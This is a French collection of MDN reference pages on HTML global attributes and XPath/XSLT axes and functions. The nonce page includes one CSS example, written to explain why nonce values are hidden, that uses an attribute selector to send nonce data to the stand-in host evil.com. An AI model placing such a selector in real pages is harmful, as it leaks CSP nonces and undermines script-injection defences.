recursal/MDN huggingface dataset:
autocapitalize
==============

L'attribut universel **`autocapitalize`** est un attribut à valeurs contraintes qui contrôle la façon dont le texte saisi est automatiquement converti en majuscules ou non. Voici les valeurs autorisées pour cet attribut :

* `off` ou `none` : aucune transformation automatique n'est appliquée (par défaut, les lettres sont écrites en minuscules)
* `on` ou `sentences` : la première lettre de chaque phrase est automatiquement écrite en majuscule, les autres lettres ne sont pas transformées (elles sont par défaut en minuscules)
* `words` : la première lettre de chaque mot est automatiquement écrite en majuscule, les autres lettres ne sont pas transformées (elles sont par défaut en minuscules)
* `characters` : toutes les lettres sont converties en majuscules.

L'attribut `autocapitalize` n'a aucun impact lorsqu'on utilise un clavier physique. Il modifie la saisie pour les autres moyens de saisie tels que les claviers virtuels ou les moyens de saisie orale. Le but de cet attribut est d'aider de tels moyens à faciliter la saisie de l'utilisateur. Par défaut, un tel moyen de saisie utilisera une majuscule pour chaque début de phrase, modifier l'attribut `autocapitalize` permet aux auteurs de modifier ce comportement selon les différents éléments.

L'attribut `autocapitalize` n'entraînera pas de mise en majuscule automatique pour un élément `<input>` dont l'attribut `type` vaut `url`, `email` ou `password`.

Spécifications
--------------

| Specification |
| --- |
| HTML Standard # attr-autocapitalize |

Compatibilité des navigateurs
-----------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
class
=====

L'attribut universel **`class`** indique une liste de classes associées à l'élément courant. Les classes permettent de manipuler les éléments, via CSS ou JavaScript en utilisant les sélecteurs de classe ou des fonctions telles que `document.getElementsByClassName`.

Exemple interactif
------------------

Bien que la spécification ne précise aucune contrainte quant aux noms utilisés pour les classes, une bonne pratique consiste à utiliser des noms qui traduisent la sémantique de l'élément plutôt que la mise en forme. Ainsi, les noms sémantiques restent pertinents même lorsque la présentation de la page évolue.

Spécifications
--------------

| Specification |
| --- |
| HTML Standard # global-attributes:classes-2 |

Compatibilité des navigateurs
-----------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Voir aussi
----------

* Tous les attributs universels
contenteditable
===============

L'attribut universel **`contenteditable`** est un attribut à valeur contrainte qui indique si l'élément courant doit pouvoir être édité par l'utilisateur ou non. Lorsque c'est le cas, des éléments de l'interface du navigateur (ou de l'agent utilisateur) sont modifiés afin de permettre l'édition.

Exemple interactif
------------------

Les valeurs autorisées pour cet attribut sont :

* `true` ou la chaîne de caractères vide qui indiquent que l'élément est éditable
* `false` qui indique que l'élément ne peut pas être édité.

Si cet attribut n'est pas défini, sa valeur est héritée depuis son élément parent.

Cet attribut n'est pas un attribut booléen ! Cela signifie qu'une valeur explicite est nécessaire pour son fonctionnement. Toute forme telle que `<label contenteditable>Exemple</label>` n'est pas autorisée. La version correcte sera `<label contenteditable="true">Exemple</label>`.

Il est possible de modifier la couleur du symbole d'insertion grâce à la propriété CSS `caret-color`.

Spécifications
--------------

| Specification |
| --- |
| HTML Standard # attr-contenteditable |

Compatibilité des navigateurs
-----------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Voir aussi
----------

* Rendre le contenu éditable
* Tous les attributs universels
* `HTMLElement.contentEditable` et `HTMLElement.isContentEditable`
* `caret-color`
* L'évènement `input` pour l'objet DOM `HTMLElement`
style
=====

L'attribut universel **`style`** contient des déclarations CSS afin de mettre en forme l'élément. Attention, il est recommandé de définir les règles de mise en forme dans un ou plusieurs fichiers séparés. Cet attribut, ainsi que l'élément `<style>` ont simplement pour but de permettre une mise en forme rapide, notamment pour tester.

Exemple interactif
------------------

**Note :** Cet attribut ne doit pas être utilisé à des fins sémantiques. En effet, si toute mise en forme est retirée, toute page doit rester correcte d'un point de vue sémantique. On ne devrait pas, notamment, utiliser cet attribut afin de cacher des informations qui ne seraient pas pertinentes (cela devrait être réalisé avec l'attribut `hidden`.

Exemples
--------

### HTML


```html
<p style="color: rgb(255, 0, 0)">
  Cette méthode n'est pas vraiment recommandée
</p>

<p class="toto">Alors que ça, c'est mieux.</p>
```

### CSS


```css
.toto {
  color: rgb(0, 255, 0);
}
```

### Résultat

Spécifications
--------------

| Specification |
| --- |
| HTML Standard # the-style-attribute |

Compatibilité des navigateurs
-----------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Voir aussi
----------

* Les différents attributs universels
hidden
======

L'attribut universel **`hidden`** est un attribut booléen qui indique s'il n'est pas encore ou s'il n'est plus pertinent d'afficher l'élément courant. Cet attribut peut, par exemple, être utilisé afin de masquer des éléments tant que l'utilisateur ne s'est pas connecté. Le navigateur n'affichera pas les éléments masqués via cet attribut.

Exemple interactif
------------------

Cet attribut ne doit pas être utilisé pour masquer du contenu qui devrait pouvoir être vu sous une autre présentation. Si un contenu est marqué comme masqué, il sera masqué pour l'ensemble des présentations, y compris pour les lecteurs d'écran et autres outils d'assistance.

Les éléments cachés avec `hidden` ne devraient pas avoir de lien qui pointent vers eux depuis des éléments visibles. De plus, les éléments fils de l'élément caché sont toujours actifs : cela signifie qu'ils peuvent être utilisés par les scripts et que les formulaires peuvent envoyer des données. Dans certains autres contextes, il est possible d'avoir des relations avec les éléments cachés via `hidden`.

Par exemple, on peut utiliser l'attribut ARIA `aria-describedby` pour faire référence à une description qui serait cachée (si cette dernière n'est pas pertinente seule). De même un élément `<canvas>` caché peut être utilisé comme un *buffer* hors champ par moteur graphique scripté.

**Note :** Cet attribut sera surchargé par la propriété CSS `display`. Ainsi, un élément dont le style a `display: flex` sera affiché à l'écran, même si l'attribut `hidden` est présent.

Spécifications
--------------

| Specification |
| --- |
| HTML Standard # the-hidden-attribute |

Compatibilité des navigateurs
-----------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Voir aussi
----------

* Les différents attributs universels
* Utiliser l'attribut `aria-hidden`
itemid
======

L'attribut universel **`itemid`** permet d'identifier un objet, au sens des microdonnées, de façon unique et globale. L'attribut `itemid` peut uniquement être défini sur les éléments qui ont un attribut `itemscope` et un attribut `itemtype`. De plus, un `itemid` ne peut pas être défini sur des éléments dont l'attribut `itemscope` possède un attribut `itemtype` qui définit un vocabulaire qui ne prend pas en charge les identifiants globaux tels que défini dans la spécification du vocabulaire.

La signification exacte d'un identifiant global est déterminée par la spécification du vocabulaire. C'est le rôle de cette spécification d'autoriser ou non la présence de plusieurs éléments avec le même identifiant (sur une ou plusieurs pages) et de définir les règles de gestion associées.

Syntaxe
-------

### Syntaxe formelle
```

itemid="URN"
```


**Note :** Selon la définition du WHATWG, un `itemid` doit être une URL. Dans l'exemple qui suit, on utilise plutôt une URN, plus appropriée pour définir un identifiant unique comme `itemid`. Cette incohérence reflète l'état actuellement incomplet de la spécification sur les microdonnées.

Exemple
-------

### HTML

Un élément qui décrit un livre :


```html
<dl
 itemscope
 itemtype="http://vocab.example.net/book"
 itemid="urn:isbn:0-330-34032-8">
  <dt>Title</dt>
  <dd itemprop="title">The Reality Dysfunction</dd>
  <dt>Author</dt>
  <dd itemprop="author">Peter F. Hamilton</dd>
  <dt>Publication date</dt>
  <dd><time itemprop="pubdate" datetime="1996-01-26">26 January 1996</time></dd>
</dl>
```

### Données structurées correspondantes

|  |  |  |
| --- | --- | --- |
| itemscope | itemtype: itemid | http://vocab.example.net/book: urn:isbn:0-330-34032-8 |
| itemprop | title | The Reality Dysfunction |
| itemprop | author | Peter F. Hamilton |
| itemprop | pubdate | 1996-01-26 |

Spécifications
--------------

| Specification |
| --- |
| HTML Standard # attr-itemid |

Compatibilité des navigateurs
-----------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Voir aussi
----------

* Les différents attributs universels
* Les autres attributs universels relatifs aux microdonnées :
    + `itemid`
    + `itemprop`
    + `itemref`
    + `itemscope`
    + `itemtype`
part
====

L'attribut universel **`part`** contient une liste des parties du nom de l'élément, séparées par des espaces. Les parties du nom permettent de sélectionner et de mettre en forme en CSS des parties spécifiques du *DOM* dans l'arbre fantôme avec le pseudo-élément `::part`.

Consultez notre exemple d'utilisation des parties fantômes du DOM.

Spécifications
--------------

| Specification |
| --- |
| CSS Shadow Parts # part-attr |

Compatibilité des navigateurs
-----------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Voir aussi
----------

* Liste de tous les attributs universels.
slot
====

**Expérimental:** **Cette fonction est expérimentale**  
Puisque cette fonction est toujours en développement dans certains navigateurs, veuillez consulter le tableau de compatibilité pour les préfixes à utiliser selon les navigateurs.  
Il convient de noter qu'une fonctionnalité expérimentale peut voir sa syntaxe ou son comportement modifié dans le futur en fonction des évolutions de la spécification.

L'attribut HTML universel **`slot`** permet d'affecter un créneau d'un *shadow DOM* à un élément. Un élément avec un attribut `slot` est affecté au créneau créé par l'élément `<slot>` dont la valeur de l'attribut `name` correspond à celle de l'attribut `slot`.

Pour des exemples d'application, consulter le guide Utiliser les modèles (*templates*) et les emplacements (*slots*).

Spécifications
--------------

| Specification |
| --- |
| HTML Standard # attr-slot |
| DOM Standard # ref-for-dom-element-slot① |

Compatibilité des navigateurs
-----------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Voir aussi
----------

* Les autres attributs universels
nonce
=====

L'attribut universel **`nonce`** est un attribut de contenu qui définit un nonce cryptographique pouvant être utilisé par une règle de sécurité du contenu (CSP) afin de déterminer si la récupération d'un élément sera autorisée ou non.

Description
-----------

L'attribut `nonce` permet d'autoriser certains éléments spécifiques (comme un script ou un style donné) en évitant d'avoir à utiliser la directive CSP `unsafe-inline` qui autoriserait *tous* les scripts ou styles embarqués.

**Note :** `nonce` doit uniquement être utilisé pour les cas où il n'est pas possible de faire autrement que d'utiliser un script ou un style embarqué non sécurisé. Si vous n'avez pas besoin de `nonce`, il ne faut pas l'utiliser. Si votre script est statique, vous pouvez utiliser une empreinte (*hash*) CSP à la place (voir les notes d'utilisation sur les scripts embarqués non sécurisés.)

Mieux vaut toujours exploiter les protections CSP au maximum et donc éviter les nonces ou les scripts embarqués non sécurisés tant que possible.

### Utiliser `non` pour autoriser un élément <script>

Plusieurs étapes sont nécessaires afin d'utiliser un nonce pour autoriser un script embarqué.

#### Générer une valeur

Sur le serveur web, générez une chaîne de caractères encodées en base64 à partir de 128 bits de données générés par un générateur de nombres aléatoires cryptographique. Les nonces doivent être générés différemment à chaque chargement de la page. En Node.js par exemple, on pourra écrire :


```js
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
```


#### Autoriser le script embarqué

Le nonce généré côté serveur peut ensuite être utilisé sur le script embarqué qu'on souhaite autoriser :


```html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
 …
</script>
```


#### Envoyer le nonce avec un en-tête CSP

Enfin, il faut envoyer la valeur du nonce dans un en-tête `Content-Security-Policy` en préfixant la chaîne de caractères avec `nonce-` :


```http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
```

### Masquage et accès au nonce

Pour des raisons de sécurité, le contenu de l'attribut `nonce` est masqué (c'est une chaîne vide qui sera renvoyé).


```js
script.getAttribute("nonce"); // renvoie la chaîne vide
```


La propriété `nonce` (en-US) est la seule façon d'accéder aux nonces :


```js
script.nonce; // renvoie la valeur du nonce
```


Un tel masquage empêche des acteurs malveillants d'exfiltrer les données du nonce grâce à des mécanismes qui permettent d'accéder aux attributs comme :


```css
script[nonce~="peuimporte"] {
  background: url("https://evil.com/nonce?peuimporte");
}
```

Spécifications
--------------

| Specification |
| --- |
| HTML Standard # attr-nonce |

Compatibilité des navigateurs
-----------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Voir aussi
----------

* `HTMLElement.nonce` (en-US)
* Stratégie de sécurité du contenu (*Content Security Policy*) (CSP)
* La directive CSP `script-src`
popover
=======

Limited availability
--------------------

This feature is not Baseline because it does not work in some of the most widely-used browsers.

* Learn more
* See full compatibility
* Report feedback
**Expérimental:** **Cette fonction est expérimentale**  
Puisque cette fonction est toujours en développement dans certains navigateurs, veuillez consulter le tableau de compatibilité pour les préfixes à utiliser selon les navigateurs.  
Il convient de noter qu'une fonctionnalité expérimentale peut voir sa syntaxe ou son comportement modifié dans le futur en fonction des évolutions de la spécification.

L'attribut universel **`popover`** permet de désigner un élément qui sera affiché par-dessus le contenu actuel.

Ces éléments sont masqués avec `display: none` jusqu'au déclenchement de leur ouverture par un élément qui les contrôle (c'est-à-dire un élément `<button>` ou `<input type="button">` doté d'un attribut `popovertarget`) ou par un appel à la méthode `HTMLElement.showPopover()`.

Lors de leur ouverture, les éléments marqués avec `popover` seront affichés par-dessus les autres éléments, dans la couche supérieure (en-US) et ne seront pas influencés par la mise en forme de leur parent pour la position (`position`) ou le dépassement (`overflow`).

Pour plus d'informations sur l'utilisation de ces fonctionnalités, voir la page de présentation de l'API *Popover*.

Exemples
--------

Ce qui suit affichera un bouton qui ouvrira un élément se superposant par-dessus le contenu actuel.


```html
<button popovertarget="my-popover">Ouvrir le contenu "popover"</button>
<div popover id="my-popover">Bonjour tout le monde !</div>
```


**Note :** Voir la page listant des exemples d'utilisation de l'API *Popover* pour accéder à l'ensemble des exemples MDN sur ce sujet.

Spécifications
--------------

| Specification |
| --- |
| HTML Standard # the-popover-attribute |

Compatibilité des navigateurs
-----------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Voir aussi
----------

* L'API *Popover*
Comparison entre les sélecteurs CSS et XPath
============================================

Dans cet article, nous listerons les différences entre les sélecteurs CSS et les fonctionnalités XPath afin que les développeurs web puissent choisir l'outil le plus pertinent.

| Fonctionnalité XPath | Équivalent CSS |
| --- | --- |
| Axe `ancestor`, `parent` ou `preceding-sibling` | `:has()` selector 
Expérimental
 |
| Axe `attribute` | Sélecteurs d'attribut |
| Axe `child` | Sélecteurs d'enfant |
| Axe `descendant` | Sélecteur de descendant |
| Axe `following-sibling` | Sélecteur de voisin général ou sélecteur de voisin direct |
| Axe `self` | Sélecteur `:scope` ou `:host` |
Axes
====

**Référence XSLT/XPath** : Éléments XSLT, Fonctions EXSLT, Fonctions XPath, Axes XPath

Il existe treize axes différents dans la spécification XPath. Un axe représente une relation au nœud de contexte, et il est utilisé pour situer dans l'arbre les autres nœuds par rapport à celui-ci. La liste suivante présente très brièvement les treize axes disponibles et le niveau de leur support dans Gecko.

Pour plus d'informations sur l'utilisation des expressions XPath, veuillez vous reportez à la section Autres ressources à la fin du document Transformations XML avec XSLT.

ancestor

Indique tous les ancêtres du nœud de contexte, depuis le nœud parent jusqu'au nœud racine.


ancestor-or-self

Indique le nœud de contexte et tous ses ancêtres, y compris le nœud racine.


attribute

Indique les attributs du nœud de contexte. Seuls les éléments ont des attributs. Cet axe peut être abrégé avec le signe arobase (`@`).


child

Indique les enfants du nœud de contexte. Si une expression XPath ne spécifie pas d'axe, c'est l'axe choisi par défaut. Comme seuls le nœud racine et les nœuds `element` ont des enfants, toute autre utilisation ne sélectionnera rien.


descendant

Indique tous les nœuds enfants du nœud de contexte, et tous leurs enfants, et ainsi de suite. Les nœuds `attribute` et `namespace` ne sont **pas** compris - le `parent` d'un nœud `attribute` est un nœud `element`, mais les nœuds `attribute` ne sont pas les enfants de leur parent.


descendant-or-self

Indique le nœud de contexte et tous ses descendants. Les nœuds `attribute` et `namespace` ne sont **pas** compris - le `parent` d'un nœud `attribute` est un nœud `element`, mais les nœuds `attribute` ne sont pas les enfants de leur parent.


following

Indique tous les nœuds situés après le nœud de contexte, exceptés les nœuds `descendant`, `attribute` et `namespace`.


following-sibling

Indique tous les nœuds qui ont le même `parent` que le nœud de contexte mais qui apparaissent après lui dans le document source.


namespace
*(non supporté)*

Indique tous les nœuds qui sont dans le voisinage immédiat du nœud de contexte. Dans ce cas, le nœud de contexte doit être un nœud `element`.


parent

Indique le nœud parent du nœud de contexte. Il peut être abrégé par deux points (`..`).


preceding

Indique tous les nœuds qui précédent le nœud de contexte dans le document, exceptés les nœuds `ancestor`, `attribute` et `namespace`.


preceding-sibling

Indique tous les nœuds qui ont le même `parent` que le nœud de contexte mais qui apparaissent avant lui dans le document source.


self

Indique le nœud de contexte lui-même. Il peut être abrégé par un point (`.`).
Fonctions
=========

**Référence XSLT/XPath** : Éléments XSLT, Fonctions EXSLT, Fonctions XPath, Axes XPath
 La liste ci-dessous regroupe les principales fonctions de XPath et les ajouts à XPath qui sont spécifiques à XSLT. Chaque lien fournit pour la fonction correspondante description, syntaxe, liste d'arguments, types de résultats, description originelle dans les recommandations du W3C, et niveau de support actuel dans Gecko. Pour plus d'informations sur l'utilisation des fonctions XPath/XSLT, reportez-vous à la page Autres ressources.
* boolean()
* ceiling()
* concat()
* contains()
* count()
* current() *Spécifique à XSLT*
* document() *Spécifique à XSLT*
* element-available()
* false()
* floor()
* format-number() *Spécifique à XSLT*
* function-available()
* generate-id() *Spécifique à XSLT*
* id() *(partiellement supporté)*
* key() *Spécifique à XSLT*
* lang()
* last()
* local-name()
* name()
* namespace-uri()
* normalize-space()
* not()
* number()
* position()
* round()
* starts-with()
* string()
* string-length()
* substring()
* substring-after()
* substring-before()
* sum()
* system-property() *Spécifique à XSLT*
* translate()
* true()
* unparsed-entity-url() *Spécifique à XSLT* *(non supporté)*
starts-with
===========

**Référence XSLT/XPath** : Éléments XSLT, Fonctions EXSLT, Fonctions XPath, Axes XPath

La fonction `starts-with` vérifie si la première chaîne débute par la seconde, et retourne `true` ou `false`.

### Syntaxe
```

starts-with( meule , aiguille)
```

### Arguments

`meule`

La chaîne dans laquelle chercher.


`aiguille`

La chaîne à rechercher.

### Retour

`true` si meule débute par `aiguille`. Autrement, `false`.

### Définition

XPath 1.0, section 4.2.

### Support Gecko

Supportée.
document
========

**Référence XSLT/XPath** : Éléments XSLT, Fonctions EXSLT, Fonctions XPath, Axes XPath

La fonction `document` recherche un ensemble de nœuds dans un ou des documents externes et retourne l'ensemble de nœuds résultant.

### Syntaxe
```

document( URI [, ensemble-de-nœuds] )
```

### Arguments

`URI`

URI absolue ou relative du document à récupérer. L'URI peut également contenir un identifiant de fragment.


`ensemble-de-nœuds` (optionnel)

Une expression pointant vers un ensemble de nœuds du document externe, qui doit être retourné.

### Retour

Un ensemble de nœuds.

### Notes

* Si l'URI contient un identifiant de fragment et que celui-ci peut être repérer dans le document externe, alors ce fragment sera traité comme la racine pour rechercher l'expression de l'argument `ensemble-de-nœuds`. Si l'argument `ensemble-de-nœuds` est omis, le fragment entier sera retourné.

* Si l'argument `URI` est un ensemble de nœuds et que le second argument est présent, chaque nœud de l'ensemble de nœuds sera évalué comme une URI séparée, et l'ensemble de nœuds retourné sera le même que si la fonction `document` avait été appelée plusieurs fois, et que les résultats avait été concaténés dans un unique ensemble de nœuds.

* D'autres situations particulières existent avec des comportements bien définis. Pour plus d'informations, consultez la documentation XSLT 1.0.

* Puisque l'URI est relative au document XSL, `document("")` retournera le nœud racine du document courant.

Cette fonction est un ajout à XPath qui est spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions de XPath core.

### Définition

XSLT 1.0, section 12.1.

### Support Gecko

Supportée.
round
=====

**Référence XSLT/XPath** : Éléments XSLT, Fonctions EXSLT, Fonctions XPath, Axes XPath

La fonction `round` retourne le nombre entier le plus proche d'un nombre donné.

### Syntaxe
```

round( décimal )
```

### Arguments

`décimal`

Le nombre décimal à arrondir.

### Retour

Le plus proche nombre entier, qu'il soit plus grand, plus petit ou égal à `decimal`.

### Notes

* -0.5 est arrondi à zéro négatif. 0.4 est arrondi à zéro positif.
### Définition

XPath 1.0, section 4.4.

### Support Gecko

Supportée.